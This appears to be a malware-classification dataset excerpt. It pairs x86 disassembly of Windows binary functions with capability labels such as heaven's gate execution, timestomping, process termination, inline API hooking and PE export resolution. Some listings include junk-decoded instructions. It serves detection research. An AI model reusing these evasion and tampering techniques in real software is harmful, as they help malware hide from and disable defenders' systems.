joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001f960
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10025f85
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x10030008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 0x1050
call fcn.1002164a
mov esi, eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], 0
push 0x1050
push 0
push esi
call sub.VCRUNTIME140.dll_memset
lea ecx, [esi + 0x44]
mov dword [esi], 0
mov eax, ecx
mov dword [esi + 4], 0
neg eax
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
lea edx, [esi + 0x1044]
mov dword [esi + 0x10], 0
and eax, 3
mov dword [esi + 0x14], 0
add esp, 0x10
mov dword [esi + 0x18], 0
add eax, ecx
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
mov dword [esi + 0x34], 0
mov dword [ebp - 0x14], esi
mov dword [edx], 0
mov dword [esi + 0x1048], 0
mov dword [esi + 0x38], ecx
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], edx
mov byte [ebp - 4], 2
mov dword [esi + 0x104c], 0
mov dword [ebp - 4], 0xffffffff
mov eax, edi
mov dword [edi], esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10021410
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1002ede0
push 0x1002204b
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x10030008]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x28], 0
xor esi, esi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x2c], esi
xor ebx, ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x24], ebx
mov word [ebp - 0x20], 0x100
mov eax, dword [ecx]
mov edi, dword [eax + 0x28]
mov dword [ebp - 0x40], edi
test edi, edi
jne 0x10021479
xor eax, eax
jmp 0x100215ef
mov dword [ebp - 4], ebx
push str.InitializeSecurityDescriptor
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100215ba
push 1
push dword [ebp - 0x34]
call eax
test eax, eax
je 0x100215ba
push str.AllocateAndInitializeSid
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100215ba
lea ecx, [ebp - 0x28]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 1
lea ecx, [ebp - 0x24]
push ecx
call eax
test eax, eax
je 0x100215ba
push str.GetLengthSid
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100215ba
push dword [ebp - 0x28]
call eax
add eax, 0x10
mov dword [ebp - 0x30], eax
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov dword [ebp - 0x3c], esi
test esi, esi
je 0x100215ba
push str.InitializeAcl
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100215ba
push 2
push dword [ebp - 0x30]
push esi
call eax
test eax, eax
je 0x100215ba
push str.AddAccessAllowedAce
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100215ba
push dword [ebp - 0x28]
push 0x10000000
push 2
push esi
call eax
test eax, eax
je 0x100215ba
push str.SetSecurityDescriptorDacl
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
test eax, eax
je 0x100215ba
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x100215a3
push 0
push ecx
push 1
push dword [ebp - 0x34]
call eax
test eax, eax
je 0x10021590
mov ebx, 1
mov dword [ebp - 0x38], ebx
cmp dword [ebp - 0x2c], 0
je 0x100215a0
jmp 0x100215ba
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [ebp - 0x2c], 0
mov eax, dword [ebp - 0x30]
push 0
push esi
push 1
push dword [ebp - 0x34]
call eax
mov ecx, 1
test eax, eax
cmovne ebx, ecx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 4], 0xfffffffe
call fcn.10021616
test ebx, ebx
jne 0x100215ed
test esi, esi
je 0x100215df
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x100215ed
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.10021639
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1000176a
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
push 0x33
call 0x10001774
add dword [esp], 5
retf

Function at 0x10001932
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
push 0x33
call 0x1000193c
add dword [esp], 5
retf

Function at 0x100019c7
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
xor eax, eax
cmp word [ecx], 0x5a4d
jne 0x10001a47
dec esp
arpl word [ecx + 0x3c], ax
dec ecx
add eax, ecx
inc ecx
cmp dword [eax], 0x4550
jne 0x10001a47
inc ebp
mov eax, dword [eax + 0x88]
inc ebp
test eax, eax
je 0x10001a47
dec edx
lea edi, [ecx + eax]
inc esp
mov eax, dword [edi + 0x20]
mov esi, dword [edi + 0x14]
test esi, esi
dec esi
lea edx, [ecx + eax]
je 0x10001a47
movzx ebx, byte [edx]
inc ebp
xor ebx, ebx
inc ebp
mov ecx, dword [edx]
dec ecx
add ecx, ecx
inc ecx
cmp byte [ecx], bl
jne 0x10001a38
test bl, bl
je 0x10001a4b
dec eax
mov eax, edx
jmp 0x10001a24
inc ebp
test al, al
je 0x10001a4b
dec eax
add eax, 1
dec ecx
mov eax, eax
dec ecx
sub eax, edx
inc edi
movzx eax, byte [eax + ecx]
inc esp
cmp al, byte [eax]
je 0x10001a1f
inc ecx
add ebx, 1
dec ecx
add edx, 4
inc ecx
cmp ebx, esi
jne 0x10001a0b
xor eax, eax
pop ebx
pop esi
pop edi
ret
inc esp
cmp esi, ebx
je 0x10001a45
mov edx, dword [edi + 0x24]
dec esi
lea eax, [ecx + ebx*2]
mov eax, dword [edi + 0x1c]
inc ecx
movzx edx, word [eax + edx]
dec eax
lea edx, [ecx + edx*4]
mov eax, dword [edx + eax]
dec eax
add eax, ecx
pop ebx
pop esi
pop edi
ret

Function at 0x10001a7d
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x28
call fcn.10002d58
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0xa
rep stosd dword es:[edi], eax
mov dword [ebp - 8], esp
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x10001ac5
push 6
call fcn.10002d64
add esp, 4
mov ebx, dword [ebp - 4]
add ebx, 0x14
mov dword [ebp - 8], ebx
mov ebx, dword [ebp - 8]
mov eax, dword [ebx]
jmp 0x10001ad8
push eax
mov ebx, dword [ebp - 4]
push ebx
call fcn.10002d52
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret
Function at 0x10003390
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
lea eax, [esp + 0x14]
push edi
push eax
mov dword [esp + 0x1c], 0x44
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [esp + 0x84]
xor edi, edi
cmp eax, edi
mov dword [esp + 0x54], edi
mov dword [esp + 0x58], edi
mov dword [esp + 0x44], 1
je case.0x100033d1.2
mov ecx, dword [esp + 0x7c]
lea eax, [ecx - 1]
cmp eax, 5
ja case.0x100033d1.2
jmp dword [eax*4 + 0x1000345c]
mov word [esp + 0x48], di
jmp 0x1000340a
mov word [esp + 0x48], 2
jmp 0x1000340a
mov word [esp + 0x48], 3
jmp 0x1000340a
mov word [esp + 0x48], 4
jmp 0x1000340a
mov word [esp + 0x48], 7
jmp 0x1000340a
mov word [esp + 0x48], 5
lea edx, [esp + 8]
mov ecx, dword [esp + 0x64]
lea eax, [esp + 0x18]
push edx
push eax
push edi
push edi
push edi
push 1
push edi
push edi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, eax
cmp esi, edi
je 0x10003454
cmp dword [esp + 0x70], edi
je 0x10003440
mov edx, dword [esp + 8]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
mov ecx, dword [esp + 0xc]
push ecx
call edi
mov eax, esi
pop edi
pop esi
add esp, 0x54
ret

Function at 0x10003780
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x1000379e
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x10003793
pop esi
ret
Function at 0x403043
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [0x417044]
sub esi, dword [0x40afb0]
push edi
add esi, dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor ebx, ebx
add eax, 0x1f4
cmp esi, ebx
mov dword [0x423eac], eax
jle 0x4031ad
push dword [0x41f054]
call fcn.004031f1
push ebx
push ebx
push dword [0x40afb0]
push dword [0x409018]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [0x41f050], esi
mov dword [0x417040], ebx
mov ebp, 0x40b040
mov eax, dword [0x417048]
mov edi, 0x4000
sub eax, dword [0x41f054]
cmp eax, edi
jg 0x4030b8
mov edi, eax
mov esi, 0x413040
push edi
push esi
call fcn.004031bf
test eax, eax
je 0x40319f
add dword [0x41f054], edi
mov dword [0x40afd0], esi
mov dword [0x40afd4], edi
cmp dword [0x423eb0], ebx
je 0x40310f
cmp dword [0x423f40], ebx
jne 0x40310f
mov eax, dword [0x41f050]
push ebx
sub eax, dword [0x417044]
sub eax, dword [esp + 0x1c]
add eax, dword [0x40afb0]
mov dword [0x417040], eax
call fcn.00402bd3
pop ecx
mov ecx, 0x40afb8
mov dword [0x40afd8], ebp
mov dword [0x40afdc], 0x8000
call fcn.00405f82
test eax, eax
jl 0x4031a8
mov esi, dword [0x40afd8]
sub esi, ebp
je 0x403169
lea eax, [esp + 0x10]
push ebx
push eax
push esi
push ebp
push dword [0x409018]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4031a4
cmp esi, dword [esp + 0x10]
jne 0x4031a4
add dword [0x40afb0], esi
cmp dword [0x40afd4], ebx
jne 0x4030de
jmp 0x403175
cmp dword [0x40afd4], ebx
jne 0x4031a8
cmp edi, ebx
je 0x4031a8
mov eax, dword [0x417044]
mov ecx, eax
sub ecx, dword [0x40afb0]
add ecx, dword [esp + 0x18]
test ecx, ecx
jg 0x4030a2
push ebx
push ebx
push eax
push dword [0x409018]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x4031ad
or eax, 0xffffffff
jmp 0x4031b7
push 0xfffffffffffffffe
jmp 0x4031aa
push 0xfffffffffffffffd
pop eax
jmp 0x4031b7
push 1
call fcn.00402bd3
pop ecx
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 4

Function at 0x405b66
Capabilities:
Resolve function by parsing pe exports

Disassembly:
call [edi + ebx*4]
out 4, al
mov edi, eax
mov eax, dword [edi + 0x3c]
mov edx, dword [edi + eax + 0x78]
add edx, edi
mov ecx, dword [edx + 0x18]
mov ebx, dword [edx + 0x20]

Function at 0x405ef4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a34], 0
push esi
jne 0x405f2b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f05
mov dword [ecx*4 + 0x422a30], eax
inc ecx
cmp ecx, 0x100
jl 0x405f00
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f5c
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a30]
xor eax, esi
inc ecx
dec edx
jne 0x405f3e
pop edi
not eax
pop esi
ret 0xc
Function at 0x4055ec
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed8
mov eax, 0x4468f4
push ebx
push esi
push edi
call fcn.0042c83c
mov esi, 0x44499c
lea edi, [ebp - 0x128]
mov ecx, 0x40
rep movsd dword es:[edi], dword [esi]
je 0x405575
jne 0x405575
mov ch, 0xee
cmp al, 0xb1
cmp eax, 0xd5c4cef1
and byte [edi - 0x7a7244f5], al
fdivr st(6)
invalid
lea eax, [ebp - 0x128]
push eax
push 0x4457da
push str.Software
push SysReAllocStringLen
call fcn.00409d90
mov word [ebp - 0x18], 8
mov word [ebp - 0x18], 0x14
add esp, 0x10
lea edx, [ebp - 0x128]
lea eax, [ebp - 4]
call fcn.00439f14
inc dword [ebp - 0xc]
call fcn.0043a4f4
mov ebx, eax
dec dword [ebp - 0xc]
lea eax, [ebp - 4]
mov edx, 2
call fcn.0043a124
mov word [ebp - 0x18], 0
jmp 0x4055eb
push ebx
push 0
push 0x1f0fff
call sub.KERNEL32.DLL_OpenProcess
mov ebx, eax
test ebx, ebx
je 0x405618
push 0
push ebx
call sub.KERNEL32.DLL_TerminateProcess
push ebx
call sub.KERNEL32.DLL_CloseHandle
mov edx, dword [ebp - 0x28]
mov dword fs:[0], edx
jmp 0x405622
mov ecx, dword [ebp - 0x28]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40562c
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed8
push ebx
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov ebx, eax
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push ebx
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x40569f
mov edx, dword [ebp + 8]
push edx
lea ecx, [ebp - 0x104]
push ecx
call fcn.0042c6c0
add esp, 8
test eax, eax
jne 0x40568e
push 0
mov eax, dword [ebp - 0x120]
push eax
push 0
push 0x1f0fff
call sub.KERNEL32.DLL_OpenProcess
push eax
call sub.KERNEL32.DLL_TerminateProcess
lea edx, [ebp - 0x128]
push edx
push ebx
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x40565c
push ebx
call sub.KERNEL32.DLL_CloseHandle
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406994
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffe28
push ebx
push esi
push edi
mov edi, dword [ebp + 0x18]
mov esi, dword [ebp + 8]
je 0x4069bd
jne 0x4069bd
daa
lodsd eax, dword [esi]
mov esp, 0x56791925
mov al, byte [0x9c65af68]
lea eax, [ebp - 0x1c8]
push eax
push 2
call sub.WSOCK32.DLL_WSAStartup
test eax, eax
je 0x4069e9
lea edx, [ebp - 0x1c8]
push edx
push 1
call sub.WSOCK32.DLL_WSAStartup
test eax, eax
je 0x4069e9
or eax, 0xffffffff
jmp 0x406fa8
push 1
push 0
push 0
push 6
push 1
push 2
call sub.WS2_32.DLL_WSASocketA
mov ebx, eax
cmp eax, 0xffffffff
jne 0x406a10
call sub.WSOCK32.DLL_WSACleanup
mov eax, 0xfffffffd
jmp 0x406fa8
push 0x44e688
push esi
call sub.KERNEL32.DLL_lstrcmpA
test eax, eax
je 0x406ab5
push esi
call sub.WSOCK32.DLL_gethostbyname
je 0x406a2f
jne 0x406a2f
or ch, byte [ecx]
test eax, eax
jne 0x406a3d
mov eax, 0xfffffffe
jmp 0x406fa8
push 4
mov edx, dword [eax + 0xc]
mov ecx, dword [edx]
push ecx
lea eax, [ebp - 0x1d4]
push eax
call fcn.0042c37c
add esp, 0xc
mov word [ebp - 0x1d8], 2
push 0x50
call sub.WSOCK32.DLL_htons
mov word [ebp - 0x1d6], ax
push 8
push 0
lea edx, [ebp - 0x1d0]
push edx
call fcn.0042c3ec
add esp, 0xc
push 0xff
push 0
push 0x44e688
call fcn.0042c3ec
add esp, 0xc
push esi
push 0x44e688
call sub.KERNEL32.DLL_lstrcpyA
push esi
push edi
lea esi, [ebp - 0x1d8]
mov edi, 0x44e788
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
jmp 0x406acb
push esi
push edi
mov esi, 0x44e788
lea edi, [ebp - 0x1d8]
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
mov dword [ebp - 4], 0x2710
mov dword [ebp - 8], 0x2710
push 4
lea eax, [ebp - 4]
push eax
push 0x1005
push 0xffff
push ebx
call sub.WSOCK32.DLL_setsockopt
push eax
call fcn.00406b00
test eax, 0x2a046844
fiadd dword [ebx + edi*4]
out dx, al
lodsd eax, dword [esi]
sti
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x407758
Capabilities:
Create thread

Disassembly:
push ecx
call fcn.0040689c
push esp
push 0
push 0
push 0x4076f8
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
pop edx
ret
Function at 0x409c98
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf0
lea eax, [ebp - 0x210]
lea edx, [ebp - 0xc]
lea ecx, [ebp - 8]
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x14]
push 0x100
push eax
push edx
push ecx
lea eax, [ebp - 4]
lea edx, [ebp - 0x110]
push eax
push 0x100
push edx
push 0x4492a6
call sub.KERNEL32.DLL_GetVolumeInformationA
test ebx, ebx
jne 0x409ce1
mov esi, 0x4492aa
cmp ebx, 1
jne 0x409ceb
mov esi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZ
cmp ebx, 2
jne 0x409cf5
mov esi, str.abcdefghijklmnopqrstuvwxyz
test edi, edi
jne 0x409d00
mov edi, dword [ebp - 4]
and edi, 7
inc edi
push esi
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x10], eax
xor ecx, ecx
mov eax, dword [ebp + 8]
mov ebx, eax
cmp edi, ecx
jle 0x409d38
lea eax, [ecx + 0xd]
imul dword [ebp - 4]
add eax, dword [ebp + 0x10]
push ecx
mov ecx, 0x11
xor edx, edx
div ecx
pop ecx
xor edx, edx
div dword [ebp - 0x10]
mov al, byte [esi + edx]
mov byte [ebx], al
inc ecx
inc ebx
cmp edi, ecx
jg 0x409d14
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x409d40
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0x14]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp + 0xc]
push edx
mov ecx, dword [ebp + 8]
push ecx
call sub.ADVAPI32.DLL_RegCreateKeyExA
push ebx
call sub.KERNEL32.DLL_lstrlenA
inc eax
push eax
push ebx
push 1
push 0
mov eax, dword [ebp + 0x10]
push eax
mov edx, dword [ebp - 4]
push edx
call sub.ADVAPI32.DLL_RegSetValueExA
mov ecx, dword [ebp - 4]
push ecx
call sub.ADVAPI32.DLL_RegCloseKey
pop ebx
pop ecx
pop ebp
ret

Function at 0x409d90
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
mov edx, dword [ebp + 0xc]
push edx
mov ecx, dword [ebp + 8]
push ecx
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
je 0x409db7
or eax, 0xffffffff
jmp 0x409df4
mov dword [ebp - 8], 0x400
xor edx, edx
lea ecx, [ebp - 8]
mov dword [ebp - 0xc], edx
push ecx
mov eax, dword [ebp + 0x14]
lea edx, [ebp - 0xc]
push eax
push edx
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov eax, dword [ebp - 4]
push eax
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
je 0x409de9
mov eax, 0xfffffffe
jmp 0x409df4
mov edx, dword [ebp - 4]
push edx
call sub.ADVAPI32.DLL_RegCloseKey
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x409df8
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push 0
push 0x8000000
push 3
push 0
push 3
push SysReAllocStringLen
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_CreateFileA
push 0
push 0x8000000
push 3
push 0
push 3
push 0xc0000000
mov ebx, eax
mov eax, dword [ebp + 0xc]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov esi, eax
test ebx, ebx
je 0x409e72
test esi, esi
je 0x409e72
lea eax, [ebp - 0x18]
push eax
lea edx, [ebp - 0x10]
push edx
lea ecx, [ebp - 8]
push ecx
push ebx
call sub.KERNEL32.DLL_GetFileTime
lea eax, [ebp - 0x18]
push eax
lea edx, [ebp - 0x10]
push edx
lea ecx, [ebp - 8]
push ecx
push esi
call sub.KERNEL32.DLL_SetFileTime
push ebx
call sub.KERNEL32.DLL_CloseHandle
push esi
call sub.KERNEL32.DLL_CloseHandle
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x409e78
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push esi
push edi
mov esi, 0x448dc0
lea edi, [ebp - 0x100]
mov ecx, 0x40
rep movsd dword es:[edi], dword [esi]
push 0x100
lea eax, [ebp - 0x100]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
je 0x409eb3
jne 0x409eb3
inc eax
add dword [eax - 0x72], esi
imul edi, edx, 0x38
cmp dword [eax - 0xf], ebp
xchg edx, eax
inc esp
add byte [ebp - 0xff6b], cl
call dword [edx - 0x18]
pop eax
push cs
add eax, dword [eax]
push str.kernel32.dll
lea edx, [ebp - 0x100]
push edx
call sub.KERNEL32.DLL_lstrcatA
mov ecx, dword [ebp + 8]
push ecx
lea eax, [ebp - 0x100]
push eax
call fcn.00409df8
add esp, 8
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x409ee0
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe7c
mov ecx, 0x20
push ebx
push esi
push edi
lea edi, [ebp - 0x80]
mov ebx, dword [ebp + 8]
mov esi, 0x448ec0
rep movsd dword es:[edi], dword [esi]
push ebx
call sub.KERNEL32.DLL_DeleteFileA
test eax, eax
je 0x409f0f
mov al, 1
jmp 0x40a025
lea edi, [ebp - 0x184]
mov esi, 0x448f40
mov ecx, 0x41
lea eax, [ebp - 0x184]
rep movsd dword es:[edi], dword [esi]
push eax
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
lea edx, [ebp - 0x80]
push edx
push 0
push 0x4492ff
lea ecx, [ebp - 0x184]
push ecx
call sub.KERNEL32.DLL_GetTempFileNameA
test eax, eax
jne 0x409f54
xor eax, eax
jmp 0x40a025
mov dl, byte [ebp - 0x80]
cmp dl, byte [ebx]
jne 0x409f68
movsx ecx, byte [ebp - 0x7f]
cmp ecx, 0x3a
je 0x409ffa
lea eax, [ebp - 0x184]
push eax
call sub.KERNEL32.DLL_lstrlenA
push eax
push 0
lea edx, [ebp - 0x184]
push edx
call fcn.0042c3ec
add esp, 0xc
lea ecx, [ebp - 0x184]
push 2
push ebx
push ecx
call fcn.0042c37c
add esp, 0xc
push str._recycled
lea eax, [ebp - 0x184]
push eax
call sub.KERNEL32.DLL_lstrcatA
lea edx, [ebp - 0x80]
push edx
call sub.KERNEL32.DLL_lstrlenA
push eax
push 0
lea ecx, [ebp - 0x80]
push ecx
call fcn.0042c3ec
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
push 0
push 0x44930c
lea edx, [ebp - 0x184]
push edx
call sub.KERNEL32.DLL_GetTempFileNameA
test eax, eax
jne 0x409ffa
lea ecx, [ebp - 0x184]
push ecx
lea eax, [ebp - 0x80]
push eax
call sub.KERNEL32.DLL_lstrcatA
push str.1.tmp
lea edx, [ebp - 0x80]
push edx
call sub.KERNEL32.DLL_lstrcatA
push 1
lea ecx, [ebp - 0x80]
push ecx
push ebx
call sub.KERNEL32.DLL_MoveFileExA
test eax, eax
je 0x40a00e
mov al, 1
jmp 0x40a025
push 4
push 0
lea edx, [ebp - 0x80]
push edx
call sub.KERNEL32.DLL_MoveFileExA
test eax, eax
je 0x40a023
mov al, 1
jmp 0x40a025
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a02c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov esi, dword [ebp + 0x14]
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_LoadLibraryA
mov ebx, eax
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov ebx, eax
lea edx, [ebx + 5]
mov ecx, dword [ebp + 0x10]
sub ecx, edx
mov dword [ebp - 4], ecx
cmp byte [ebx], 0xe9
jne 0x40a063
xor eax, eax
jmp 0x40a0cd
call sub.KERNEL32.DLL_GetCurrentProcess
mov dword [ebp - 8], eax
lea edx, [esi + 0xf]
mov dword [ebp - 0x10], edx
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.0042bdac
pop ecx
mov edi, eax
lea eax, [ebp - 0xc]
push eax
push 0x40
mov edx, dword [ebp - 0x10]
push edx
push edi
mov ecx, dword [ebp - 8]
push ecx
call sub.KERNEL32.DLL_VirtualProtectEx
push esi
push ebx
push edi
call fcn.0042c37c
mov edx, edi
mov eax, esi
add edx, esi
add eax, ebx
add edx, 5
add esp, 0xc
sub eax, edx
mov byte [edi + esi], 0xe9
mov dword [edi + esi + 1], eax
lea ecx, [ebp - 0xc]
push ecx
push 0x40
push esi
push ebx
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_VirtualProtectEx
mov byte [ebx], 0xe9
inc ebx
mov eax, dword [ebp - 4]
mov dword [ebx], eax
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x419e10
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push 0x100
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x419e49
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00429390
jmp 0x419e52
mov eax, ebx
mov edx, esi
call fcn.004292f4
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x419e5c
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.KERNEL32.DLL_GetLocaleInfoA
test eax, eax
jle 0x419e7d
mov al, byte [esp]
jmp 0x419e7f
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x41a504
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x41a37c
mov eax, dword [0x44e610]
cmp byte [eax], 0
je 0x41a571
mov eax, dword [0x44e614]
call fcn.00427fec
call fcn.00427be0
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.004176e0
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x41a5b8
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile
jmp 0x41a5a7
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x44e4d0]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x44e654]
call fcn.0042a980
push eax
call sub.USER32.DLL_LoadStringA
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.USER32.DLL_MessageBoxA
add esp, 0x444
ret